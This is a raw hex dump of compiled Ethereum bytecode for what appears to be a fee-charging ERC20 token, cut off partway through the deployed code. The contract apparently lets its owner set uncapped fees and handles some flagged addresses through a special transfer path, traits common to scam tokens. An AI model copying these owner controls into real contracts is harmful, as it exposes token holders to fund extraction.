3a91906124c8565b60405180910390f35b34801561034f57600080fd5b5061036a6004803603810190610365919061233f565b6108cd565b604051610377919061239a565b60405180910390f35b34801561038c57600080fd5b50610395610980565b6040516103a2919061243e565b60405180910390f35b3480156103b757600080fd5b506103c0610986565b6040516103cd91906124f2565b60405180910390f35b3480156103e257600080fd5b506103eb6109ac565b6040516103f8919061239a565b60405180910390f35b34801561040d57600080fd5b506104286004803603810190610423919061250d565b6109bf565b005b34801561043657600080fd5b5061043f610a4e565b60405161044c919061243e565b60405180910390f35b34801561046157600080fd5b5061047c6004803603810190610477919061253a565b610a54565b604051610489919061239a565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b4919061253a565b610a74565b6040516104c6919061243e565b60405180910390f35b3480156104db57600080fd5b506104e4610abd565b005b3480156104f257600080fd5b5061050d60048036038101906105089190612593565b610ad1565b005b34801561051b57600080fd5b50610524610af7565b60405161053191906124f2565b60405180910390f35b34801561054657600080fd5b5061054f610b20565b60405161055c9190612284565b60405180910390f35b34801561057157600080fd5b5061058c6004803603810190610587919061233f565b610bb2565b604051610599919061239a565b60405180910390f35b3480156105ae57600080fd5b506105c960048036038101906105c491906125ec565b610c7f565b005b3480156105d757600080fd5b506105f260048036038101906105ed919061233f565b610ca4565b6040516105ff919061239a565b60405180910390f35b34801561061457600080fd5b5061061d610cc2565b005b34801561062b57600080fd5b5061064660048036038101906106419190612619565b611095565b005b34801561065457600080fd5b5061066f600480360381019061066a9190612659565b6110af565b60405161067c919061243e565b60405180910390f35b34801561069157600080fd5b506106ac60048036038101906106a7919061253a565b611136565b005b3480156106ba57600080fd5b506106d560048036038101906106d091906125ec565b6111b9565b005b6060600580546106e6906126c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610712906126c8565b801561075f5780601f106107345761010080835404028352916020019161075f565b820191906000526020600020905b81548152906001019060200180831161074257829003601f168201915b5050505050905090565b600061077d610776611215565b848461121d565b6001905092915050565b601360169054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b601360149054906101000a900460ff1681565b60006107ea8484846113b1565b6108ab846107f6611215565b6108a685604051806060016040528060288152602001612e8060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061085c611215565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e99092919063ffffffff16565b61121d565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006109766108da611215565b8461097185600260006108eb611215565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183e90919063ffffffff16565b61121d565b6001905092915050565b600b5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360159054906101000a900460ff1681565b6109c7611854565b601360149054906101000a900460ff1615610a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0e90612745565b60405180910390fd5b6000610a2230610a74565b9050600060648383610a349190612794565b610a3e9190612805565b9050610a49816118d2565b505050565b600c5481565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ac5611854565b610acf6000611946565b565b610ad9611854565b80600960016101000a81548160ff021916908360ff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610b2f906126c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610b5b906126c8565b8015610ba85780601f10610b7d57610100808354040283529160200191610ba8565b820191906000526020600020905b815481529060010190602001808311610b8b57829003601f168201915b5050505050905090565b6000610c75610bbf611215565b84610c7085604051806060016040528060258152602001612ea86025913960026000610be9611215565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e99092919063ffffffff16565b61121d565b6001905092915050565b610c87611854565b80601360166101000a81548160ff02191690831515021790555050565b6000610cb8610cb1611215565b84846113b1565b6001905092915050565b610cca611854565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d52919061284b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610db9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddd919061284b565b6040518363ffffffff1660e01b8152600401610dfa929190612878565b6020604051808303816000875af1158015610e19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3d919061284b565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ef330601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610eee30610a74565b61121d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f3c30610a74565b600080610f47610af7565b426040518863ffffffff1660e01b8152600401610f69969594939291906128dc565b60606040518083038185885af1158015610f87573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fac9190612952565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104e9291906129a5565b6020604051808303816000875af115801561106d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109191906129e3565b5050565b61109d611854565b81600b8190555080600c819055505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61113e611854565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a490612a82565b60405180910390fd5b6111b681611946565b50565b6111c1611854565b80601360156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161120a919061239a565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112875750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd90612aee565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113a4919061243e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561141b5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61145a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145190612b5a565b60405180910390fd5b6000811161149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490612bec565b60405180910390fd5b600960019054906101000a900460ff1660ff16600960009054906101000a900460ff1660ff16101580156114de5750601360149054906101000a900460ff16155b80156115385750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115505750601360159054906101000a900460ff165b15611593576000600960006101000a81548160ff021916908360ff160217905550600061157c30610a74565b9050600081111561159157611590816118d2565b5b505b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061163a5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806117055750601360169054906101000a900460ff1680156116aa5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117045750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561171357600090506117d7565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361177657600b54600a819055506117d6565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117d557600c54600a819055505b5b5b6117e384848484611a0a565b50505050565b6000838311158290611831576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118289190612284565b60405180910390fd5b5082840390509392505050565b6000818361184c9190612c0c565b905092915050565b61185c611215565b73ffffffffffffffffffffffffffffffffffffffff1661187a610af7565b73ffffffffffffffffffffffffffffffffffffffff16146118d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c790612c8c565b60405180910390fd5b565b6001601360146101000a81548160ff0219169083151502179055506118f681611a74565b6000479050611927600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611cb7565b506000601360146101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80611a1c57611a17611d02565b611a55565b6009600081819054906101000a900460ff1680929190611a3b90612cac565b91906101000a81548160ff021916908360ff160217905550505b611a60848484611d5e565b80611a6e57611a6d61217c565b5b50505050565b6000600267ffffffffffffffff811115611a9157611a90612cd5565b5b604051908082528060200260200182016040528015611abf5781602001602082028036833780820191505090505b5090503081600081518110611ad757611ad6612d04565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba2919061284b565b81600181518110611bb657611bb5612d04565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c1d30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461121d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c81959493929190612df1565b600060405180830381600087803b158015611c9b57600080fd5b505af1158015611caf573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cfd573d6000803e3d6000fd5b505050565b6000600a54148015611d1657506000600b54145b8015611d2457506000600c54145b611d5c57600b54600e81905550600c54600f81905550600a54600d819055506000600b819055506000600c819055506000600a819055505b565b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611db8576000611dbc565b6010545b9050601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f3f57611e6282600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183e90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612176565b600080611f4b846121af565b91509150611fa184600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219990919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061203682600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183e90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120cb81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183e90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161216b919061243e565b60405180910390a350505b50505050565b600d54600a81905550600e54600b81905550600f54600c81905550565b600081836121a79190612e4b565b905092915050565b60008060006064600a54856121c49190612794565b6121ce9190612805565b905060006121e5828661219990919063ffffffff16565b90508082935093505050915091565b600081519050919050565b600082825260208201905092915050565b60005b8381101561222e578082015181840152602081019050612213565b60008484015250505050565b6000601f19601f8301169050919050565b6000612256826121f4565b61226081856121ff565b9350612270818560208601612210565b6122798161223a565b840191505092915050565b6000602082019050818103600083015261229e818461224b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122d6826122ab565b9050919050565b6122e6816122cb565b81146122f157600080fd5b50565b600081359050612303816122dd565b92915050565b6000819050919050565b61231c81612309565b811461232757600080fd5b50565b60008135905061233981612313565b92915050565b60008060408385031215612356576123556122a6565b5b6000612364858286016122f4565b92505060206123758582860161232a565b9150509250929050565b60008115159050919050565b6123948161237f565b82525050565b60006020820190506123af600083018461238b565b92915050565b6000819050919050565b60006123da6123d56123d0846122ab565b6123b5565b6122ab565b9050919050565b60006123ec826123bf565b9050919050565b60006123fe826123e1565b9050919050565b61240e816123f3565b82525050565b60006020820190506124296000830184612405565b92915050565b61243881612309565b82525050565b6000602082019050612453600083018461242f565b92915050565b600080600060608486031215612472576124716122a6565b5b6000612480868287016122f4565b9350506020612491868287016122f4565b92505060406124a28682870161232a565b9150509250925092565b600060ff82169050919050565b6124c2816124ac565b82525050565b60006020820190506124dd60008301846124b9565b92915050565b6124ec816122cb565b82525050565b600060208201905061250760008301846124e3565b92915050565b600060208284031215612523576125226122a6565b5b60006125318482850161232a565b91505092915050565b6000602082840312156125505761254f6122a6565b5b600061255e848285016122f4565b91505092915050565b612570816124ac565b811461257b57600080fd5b50565b60008135905061258d81612567565b92915050565b6000602082840312156125a9576125a86122a6565b5b60006125b78482850161257e565b91505092915050565b6125c98161237f565b81146125d457600080fd5b50565b6000813590506125e6816125c0565b92915050565b600060208284031215612602576126016122a6565b5b6000612610848285016125d7565b91505092915050565b600080604083850312156126305761262f6122a6565b5b600061263e8582860161232a565b925050602061264f8582860161232a565b9150509250929050565b600080604083850312156126705761266f6122a6565b5b600061267e858286016122f4565b925050602061268f858286016122f4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806126e057607f821691505b6020821081036126f3576126f2612699565b5b50919050565b7f43757272656e746c792070726f63657373696e672c20747279206c617465722e600082015250565b600061272f6020836121ff565b915061273a826126f9565b602082019050919050565b6000602082019050818103600083015261275e81612722565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061279f82612309565b91506127aa83612309565b92508282026127b881612309565b915082820484148315176127cf576127ce612765565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061281082612309565b915061281b83612309565b92508261282b5761282a6127d6565b5b828204905092915050565b600081519050612845816122dd565b92915050565b600060208284031215612861576128606122a6565b5b600061286f84828501612836565b91505092915050565b600060408201905061288d60008301856124e3565b61289a60208301846124e3565b9392505050565b6000819050919050565b60006128c66128c16128bc846128a1565b6123b5565b612309565b9050919050565b6128d6816128ab565b82525050565b600060c0820190506128f160008301896124e3565b6128fe602083018861242f565b61290b60408301876128cd565b61291860608301866128cd565b61292560808301856124e3565b61293260a083018461242f565b979650505050505050565b60008151905061294c81612313565b92915050565b60008060006060848603121561296b5761296a6122a6565b5b60006129798682870161293d565b935050602061298a8682870161293d565b925050604061299b8682870161293d565b9150509250925092565b60006040820190506129ba60008301856124e3565b6129c7602083018461242f565b9392505050565b6000815190506129dd816125c0565b92915050565b6000602082840312156129f9576129f86122a6565b5b6000612a07848285016129ce565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612a6c6026836121ff565b9150612a7782612a10565b604082019050919050565b60006020820190508181036000830152612a9b81612a5f565b9050919050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b6000612ad86011836121ff565b9150612ae382612aa2565b602082019050919050565b60006020820190508181036000830152612b0781612acb565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b6000612b446015836121ff565b9150612b4f82612b0e565b602082019050919050565b60006020820190508181036000830152612b7381612b37565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b6000612bd66025836121ff565b9150612be182612b7a565b604082019050919050565b60006020820190508181036000830152612c0581612bc9565b9050919050565b6000612c1782612309565b9150612c2283612309565b9250828201905080821115612c3a57612c39612765565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c766020836121ff565b9150612c8182612c40565b602082019050919050565b60006020820190508181036000830152612ca581612c69565b9050919050565b6000612cb7826124ac565b915060ff8203612cca57612cc9612765565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612d68816122cb565b82525050565b6000612d7a8383612d5f565b60208301905092915050565b6000602082019050919050565b6000612d9e82612d33565b612da88185612d3e565b9350612db383612d4f565b8060005b83811015612de4578151612dcb8882612d6e565b9750612dd683612d86565b925050600181019050612db7565b5085935050505092915050565b600060a082019050612e06600083018861242f565b612e1360208301876128cd565b8181036040830152612e258186612d93565b9050612e3460608301856124e3565b612e41608083018461242f565b9695505050505050565b6000612e5682612309565b9150612e6183612309565b9250828203905081811115612e7957612e78612765565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b4636a8027d583ef41b69bd416e19b90544710ee9afde463b4ca6306acb2b39164736f6c634300081300330000000000000000000000000000001d6329f1c35ca4bfabb9f5610000000000

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c806368ea35b0116100ec578063a514a07d1161008a578063d45012c711610064578063d45012c71461061f578063dd62ed3e14610648578063f2fde38b14610685578063f7739b5f146106ae576101c2565b8063a514a07d146105a2578063a9059cbb146105cb578063c9567bf914610608576101c2565b80637caefa89116100c65780637caefa89146104e65780638da5cb5b1461050f57806395d89b411461053a578063a457c2d714610565576101c2565b806368ea35b01461045557806370a0823114610492578063715018a6146104cf576101c2565b8063313ce5671161015957806349bd5a5e1161013357806349bd5a5e146103ab5780634a74bb02146103d65780634ca4a33614610401578063590f897e1461042a576101c2565b8063313ce56714610318578063395093511461034357806340b9a54b14610380576101c2565b80631694505e116101955780631694505e1461025a57806318160ddd14610285578063220f6696146102b057806323b872dd146102db576101c2565b806306fdde03146101c7578063095ea7b3146101f257806313fad07a1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106d7565b6040516101e99190612284565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061233f565b610769565b604051610226919061239a565b60405180910390f35b34801561023b57600080fd5b50610244610787565b604051610251919061239a565b60405180910390f35b34801561026657600080fd5b5061026f61079a565b60405161027c9190612414565b60405180910390f35b34801561029157600080fd5b5061029a6107c0565b6040516102a7919061243e565b60405180910390f35b3480156102bc57600080fd5b506102c56107ca565b6040516102d2919061239a565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd9190612459565b6107dd565b60405161030f919061239a565b60405180910390f35b34801561032457600080fd5b5061032d6108b6565b60405161033a91906124c8565b60405180910390f35b34801561034f57600080fd5b5061036a6004803603810190610365919061233f565b6108cd565b604051610377919061239a565b60405180910390f35b34801561038c57600080fd5b50610395610980565b6040516103a2919061243e565b60405180910390f35b3480156103b757600080fd5b506103c0610986565b6040516103cd91906124f2565b60405180910390f35b3480156103e257600080fd5b506103eb6109ac565b6040516103f8919061239a565b60405180910390f35b34801561040d57600080fd5b506104286004803603810190610423919061250d565b6109bf565b005b34801561043657600080fd5b5061043f610a4e565b60405161044c919061243e565b60405180910390f35b34801561046157600080fd5b5061047c6004803603810190610477919061253a565b610a54565b604051610489919061239a565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b4919061253a565b610a74565b6040516104c6919061243e565b60405180910390f35b3480156104db57600080fd5b506104e4610abd565b005b3480156104f257600080fd5b5061050d60048036038101906105089190612593565b610ad1565b005b34801561051b57600080fd5b50610524610af7565b60405161053191906124f2565b60405180910390f35b34801561054657600080fd5b5061054f610b20565b60405161055c9190612284565b60405180910390f35b34801561057157600080fd5b5061058c6004803603810190610587919061233f565b610bb2565b604051610599919061239a565b60405180910390f35b3480156105ae57600080fd5b506105c960048036038101906105c491906125ec565b610c7f565b005b3480156105d757600080fd5b506105f260048036038101906105ed919061233f565b610ca4565b6040516105ff919061239a565b60405180910390f35b34801561061457600080fd5b5061061d610cc2565b005b34801561062b57600080fd5b5061064660048036038101906106419190612619565b611095565b005b34801561065457600080fd5b5061066f600480360381019061066a9190612659565b6110af565b60405161067c919061243e565b60405180910390f35b34801561069157600080fd5b506106ac60048036038101906106a7919061253a565b611136565b005b3480156106ba57600080fd5b506106d560048036038101906106d091906125ec565b6111b9565b005b6060600580546106e6906126c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610712906126c8565b801561075f5780601f106107345761010080835404028352916020019161075f565b820191906000526020600020905b81548152906001019060200180831161074257829003601f168201915b5050505050905090565b600061077d610776611215565b848461121d565b6001905092915050565b601360169054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b601360149054906101000a900460ff1681565b60006107ea8484846113b1565b6108ab846107f6611215565b6108a685604051806060016040528060288152602001612e8060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061085c611215565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e99092919063ffffffff16565b61121d565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006109766108da611215565b8461097185600260006108eb611215565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183e90919063ffffffff16565b61121d565b6001905092915050565b600b5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360159054906101000a900460ff1681565b6109c7611854565b601360149054906101000a900460ff1615610a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0e90612745565b60405180910390fd5b6000610a2230610a74565b9050600060648383610a349190612794565b610a3e9190612805565b9050610a49816118d2565b505050565b600c5481565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ac5611854565b610acf6000611946565b565b610ad9611854565b80600960016101000a81548160ff021916908360ff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610b2f906126c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610b5b906126c8565b8015610ba85780601f10610b7d57610100808354040283529160200191610ba8565b820191906000526020600020905b815481529060010190602001808311610b8b57829003601f168201915b5050505050905090565b6000610c75610bbf611215565b84610c7085604051806060016040528060258152602001612ea86025913960026000610be9611215565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e99092919063ffffffff16565b61121d565b6001905092915050565b610c87611854565b80601360166101000a81548160ff02191690831515021790555050565b6000610cb8610cb1611215565b84846113b1565b6001905092915050565b610cca611854565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d52919061284b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610db9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddd919061284b565b6040518363ffffffff1660e01b8152600401610dfa929190612878565b6020604051808303816000875af1158015610e19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3d919061284b565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ef330601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610eee30610a74565b61121d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f3c30610a74565b600080610f47610af7565b426040518863ffffffff1660e01b8152600401610f69969594939291906128dc565b60606040518083038185885af1158015610f87573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fac9190612952565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104e9291906129a5565b6020604051808303816000875af115801561106d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109191906129e3565b5050565b61109d611854565b81600b8190555080600c819055505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61113e611854565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a490612a82565b60405180910390fd5b6111b681611946565b50565b6111c1611854565b80601360156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161120a919061239a565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112875750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd90612aee565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113a4919061243e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561141b5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61145a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145190612b5a565b60405180910390fd5b6000811161149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490612bec565b60405180910390fd5b600960019054906101000a900460ff1660ff16600960009054906101000a900460ff1660ff161015801